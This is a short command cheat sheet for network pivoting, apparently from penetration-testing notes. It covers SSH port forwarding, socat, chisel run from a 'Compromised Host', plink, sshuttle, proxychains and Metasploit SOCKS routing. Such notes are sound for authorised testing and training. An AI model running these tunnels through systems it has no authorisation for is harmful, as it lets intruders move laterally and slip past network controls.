ssh user@<IP> -p port -L 8001:127.0.0.1:8080 -fN
ssh -R 5555:127.0.0.1:5555 -p2222 <user>@<IP>
./socat.exe TCP-LISTEN:8002,fork,reuseaddr TCP:127.0.0.1:8080
-> Your machine
./chisel server -p <listen_port> --reverse &
-> Compromised Host
./chisel client <client_port>:<client_port> R:<local_port>:<target_IP>:<target_port> &
-> Compromised Host
./chisel server -p <listen_port>
-> Your Machine
./chisel client <client_port>:<client_port> <local_port>:<target_IP>:<target_port>
cmd.exe /c echo y | plink.exe -ssh -l <user> -pw <password> -R 192.168.0.20:1234:127.0.0.1:3306 192.168.0.20
sshuttle -r user@<ip> --ssh-cmd "ssh -i private_key" 172.16.0.0/24
edit /etc/proxychains.conf with socks4 127.0.0.1 8080
ssh -N -D 127.0.0.1:8080 <user>@<ip> -p 2222
-> Your Machine
./chisel server -p listen_port --reverse &
-> Compromised Host
./chisel client <target_IP>:<listen_port> R:socks &
-> Compromised Host
./chisel server -p <listen_port> --socks5
-> Your Machine
./chisel client <target_P>:<listen_port> <proxy_port>:socks
route add <ip>/24 1
route print
use auxiliary/server/socks_proxy
run